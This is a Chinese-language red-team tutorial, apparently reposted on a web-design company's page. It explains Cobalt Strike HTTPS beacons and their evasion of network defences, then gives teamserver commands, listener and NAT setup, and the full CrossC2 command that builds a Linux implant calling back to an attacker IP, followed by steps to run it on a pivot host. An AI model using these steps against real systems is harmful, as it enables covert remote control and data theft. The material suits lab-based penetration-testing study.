宁德市网站建设_网站建设公司_测试工程师_seo优化
2026/1/16 22:47:17 网站建设 项目流程

目录

一、Https Beacon简介

二、 Linux平台 Beacon 生成工具

1、genCrossC2安装

(1)基础文件下载

(2)构建genCrossC2环境

(3)修改cna配置文件

2、genCrossC2 生成 Beacon

三、CobaltStrike实战

1、服务端

(1)配置权限

(2)启动服务端

2、客户端

四、监听器Https Beacon渗透实战

1、添加监听器

2、配置NAT模式

3、攻击机生成https stageless木马

4、上传https beacon木马到跳板机

5、跳板机执行ljn.out

四、Https Beacon内网横向渗透实战

1、https监听1

2、https监听2


本系列讲解内网渗透中跳板机为linux系统的情况下,通过CobaltStrike生成的https beacon与跳板机建立连接,再基于跳板机进行横向渗透的过程,整体流程图如下所示。本篇主要讲解如何生成linux的https beacon文件,相对于跳板机为windows系统而言,本篇的主要区别是默认的CS并不支持生成linux的https beacon文件。

sequenceDiagramparticipant Attacker as 攻击者(C2服务器)participant Compromised_Server as 已控服务器
(运行HTTPS Beacon)participant Internal_Target as 内网目标
(如数据库/RDP)Note over Attacker: 阶段1:Beacon初始回连Compromised_Server->>Attacker: HTTPS GET请求
(含加密元数据)Attacker-->>Compromised_Server: 返回加密指令
(如sleep/timeout)Note over Attacker: 阶段2:横向移动Compromised_Server->>Internal_Target: 代理攻击流量
(如SMB爆破/端口扫描)Internal_Target-->>Compromised_Server: 返回响应数据Note over Attacker: 阶段3:数据回传Compromised_Server->>Attacker: 加密POST请求
(数据伪装为HTTPS流量)Attacker-->>Compromised_Server: 新任务指令Note over Attacker: 循环执行阶段2-3

一、Https Beacon简介

HTTPS Beacon 使用 HTTPS 协议进行通信,基于 HTTP 协议并通过 SSL/TLS 协议提供加密传输和身份验证功能。HTTPS Beacon 是现代高级持续性威胁和红队操作中最常用的 C2 通信技术之一。它利用无处不在且受信任的 HTTPS 协议作为掩护,通过加密有效隐藏恶意指令和数据传输,极大地增加了防御者的检测难度。

  • Beacon基本概念:Beacon 可直译为灯塔、信标,HTTPS Beacon 是 Cobalt Strike 等工具中运行在目标主机上的 payload。它就像一个潜伏在目标主机上的 “信标”,会定期向控制服务器发送信号,告知自己的存在,并等待接收指令,以实现对目标主机的长期控制。
    • "Beacon" 字面意思是"信标"。在恶意软件语境中,它指的是植入在受害者系统上的恶意代码(Payload)。这个 Beacon 的主要功能是定期(或基于事件)向攻击者控制的 C2 服务器"报到"(发送心跳信号)。

    • 报到目的包括:

      • 心跳/存活确认:告诉 C2 服务器"我还活着"。

      • 检查任务:询问 C2 服务器是否有新的指令需要执行(如下载更多恶意软件、窃取数据、执行命令等)。

      • 回传数据:将窃取的信息(如凭证、键盘记录、屏幕截图、文件)发送回 C2。

      • 接收指令:获取 C2 服务器下发的下一步行动命令。

  • HTTPS 协议的应用

    • 加密通信:HTTPS 是在 HTTP 协议基础上加入了 TLS/SSL 加密层。这意味着 Beacon 与 C2 服务器之间的所有通信内容(指令、窃取的数据、配置信息)都被加密。

    • 伪装成合法流量:HTTPS 是互联网上最普遍、最受信任的协议之一(用于银行、电商、社交媒体等)。恶意流量隐藏在加密的 HTTPS 流量中,可以:

      • 绕过传统防火墙和 IDS/IPS:这些设备通常无法解密 HTTPS 流量来检查其内容(除非配置了 SSL/TLS 解密代理)。

      • 规避基于签名的检测:加密使得基于流量内容特征(如特定字符串)的检测方法失效。

      • 融入背景噪音:大量的合法 HTTPS 流量使得恶意通信更难被区分出来。

  • 与 HTTP Beacon 的区别:HTTPS Beacon 和 HTTP Beacon 使用了相同的 Malleable C2 配置文件,均使用 GET 和 POST 的方式传输数据。不同点在于 HTTPS Beacon 使用了 SSL/TLS 协议,能保证数据传输中信息不被截取或发生中间人攻击等,安全性更高。
  • 应用场景:在渗透测试中,测试人员可利用 HTTPS Beacon 绕过目标网络的部分安全检测机制,因为 HTTPS 是常见的加密网络流量,一些防火墙和入侵检测系统可能不会对其进行深度检测。而在恶意软件攻击中,攻击者也可能会利用 HTTPS Beacon 来控制被感染的主机,窃取数据或执行其他恶意操作。

二、 Linux平台 Beacon 生成工具

genCrossC2 是 Cobalt Strike 官方提供的 跨平台 Beacon 生成工具,支持生成 Windows、Linux、macOS 等多种系统的 Beacon 载荷,适用于红队渗透测试和内网横向移动。其github网址如下所示。

https://github.com/gloxec/CrossC2

1、genCrossC2安装

(1)基础文件下载

在github下载Realse的Cross C2,这里选择v3.3-stable版本,如下图红框所示。

以本机为例,我计划在windows执行genCrossC2,故而需要下载win版本和cna配置文件,如下图红框所示。

(2)构建genCrossC2环境

将下载后的文件解压后放到同一文件夹,并将Cobalt Strike服务器生成(./teamserver 运行时自动创建)的 .cobaltstrike.beacon_keys密钥文件也放到文件夹中,如下所示。

.cobaltstrike.beacon_keys文件为CS服务端运行时生成,该文件的路径来源如下所示。

(3)修改cna配置文件

修改 CrossC2-GithubBot-2023-11-20.cna 配置,$CC2_PATH 填当前脚本的绝对路径,$CC2_BIN 填 genCrossC2.exe 相对于 $CC2_PATH 的相对路径,注意 windows 要用双反斜杠,效果如下所示。

2、genCrossC2 生成 Beacon

通过genCrossC2生成https beacon文件,命令行如下所示。

./genCrossC2   <密钥文件> <代理设置> <目标系统> <输出文件> <格式>
参数必选说明示例值
C2_IPC2 服务器 IP 或域名20.1.0.32
C2_PORTC2 监听端口443(HTTPS)
密钥文件Beacon 加密通信的密钥路径./.cobaltstrike.beacon_keys
代理设置代理配置(如 socks5://127.0.0.1:1080null(直连)
目标系统指定操作系统和架构Linux x64Windows x86
输出文件生成的 Beacon 文件名payload.elf
格式输出格式(raw/shellcoderaw(可执行文件)

三、CobaltStrike实战

1、服务端

(1)配置权限

在CobaltStrike执行服务端程序之前一定记得给执行权限 否则无法执行,具体命令如下所示。

chmod +x teamserver
chmod +x TeamServerImage

(2)启动服务端

服务端的命令如下:./teamserver `本地kali虚拟机`的ip 密码

./teamserver 192.168.59.128 123456

启动成功后 会显示Linstener:forward started!,效果如下所示。

2、客户端

客户端启动成功后 会显示一个登录界面 在密码处写入刚才设置的密码 点击connect连接即可,其中主机ip地址填写服务端的ip地址,端口填写默认的50050,效果如下图所示。

登陆成功后,进入到如下页面,效果如下图所示。

四、监听器Https Beacon渗透实战

1、添加监听器

Cobalt StrikeListeners,进入监听器的页面,操作如下所示。

在新弹出的监听器listener页面中,点击下图红框中的添加部分,效果如下图所示。

配置监听器,payload选择BeaconHttps,地址填写攻击主机的IP地址,如下所示。由于CrossC2仅支持https的beacon,所以payload只能用Beacon HTTPS通过。

  • name: 为监听器名字,配置为10086_https
  • HTTP Hosts:  进行回连的主机(shell反弹的主机),也就是我们kali的ip,可以设置多个,我这里使用的是公网ip地址20.1.0.32(不过由于本机的Kali是在虚拟机中,故而后续还需要配置NAT)。
  • HTTP Hosts(Stager):  Stager的马请求下载payload的地址(一般也是和上面的ip填一样)
  • HTTP Port(C2): payload回连的端口,这里选择使用10086

配置成功后效果如下所示。

2、配置NAT模式

本步骤需要将端口10087映射到NAT中。由于我的环境中Kali攻击机装在vmware中,而Kali攻击机使用NAT方式配置,故而需要对Kali进行NAT配置,确保攻击机反向代理可以连接成功(对于直接只用kali作为攻击机的环境可忽略此步骤)。

点击vmware-编辑-虚拟网络编辑器,在弹出的对话框中选中vmnet8模式(如下图1),点击NAT设置(如下图2),在弹出NAT配置对话框中点击添加(如下图3),具体如下图所示。

使用ifconfig查看Kali攻击机的ip地址,本机为192.168.59.128,如下所示。

点击添加后,端口映射主机与虚拟机的端口均配置为10086,其中虚拟机的ip地址配置为kali的ip地址192.168.59.128,配置方法如下所示。

点击确认配置完毕后如下图红框所示,按照顺序点击确定即可配置成功。

3、攻击机生成https stageless木马

由于默认的情况下CS工具中并没有生成linux载荷的部分,如下图红框所示只有windows的Beacon载荷 生成方法,Linux生成载荷需要进行特别处理,我们选择使用命令行方法讲解如何生成linux系统的可执行程序。

使用命令行生成linux下的木马,完整命令如下。

./genCrossC2.exe 20.1.0.32 10087 ./.cobaltstrike.beacon_keys null Linux x64 ljn.out raw

执行如上命令便在当前目录下生成了ljn.out文件,参数说明如下所示:

  • ./genCrossC2.exe:执行genCrossC2工具(Cobalt Strike 的跨平台 Beacon 生成工具)
  • 20.1.0.32:指定 C2 服务器的 IP 地址(即 Beacon 回连的控制端 IP)
  • 10087:指定 C2 服务器监听的端口(Beacon 将通过此端口与控制端通信)
  • ./.cobaltstrike.beacon_keys:指定 Beacon 的加密密钥文件路径,用于 Beacon 与 C2 服务器之间的通信加密
  • null:指定水印值(可选参数,这里设为 null 表示不使用水印)
  • Linux:指定生成的 Beacon 运行的目标操作系统
  • x64:指定目标系统的架构(64 位)
  • ljn.out:生成的 Beacon 文件名称
  • raw:指定生成的 Beacon 类型为原始二进制文件(无文件头,可用于进一步封装)

4、上传https beacon木马到跳板机

5、跳板机执行ljn.out

将上传到跳板机的木马ljn.out运行,不过在运行前需要先增加权限,否则会执行失败。

当成功执行ljn.out时,这时候查看攻击机的CS工具,如下所示此时上线成功。

在cs的会话中执行ifconfig命令,如下所示说明成功连接内网设备。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询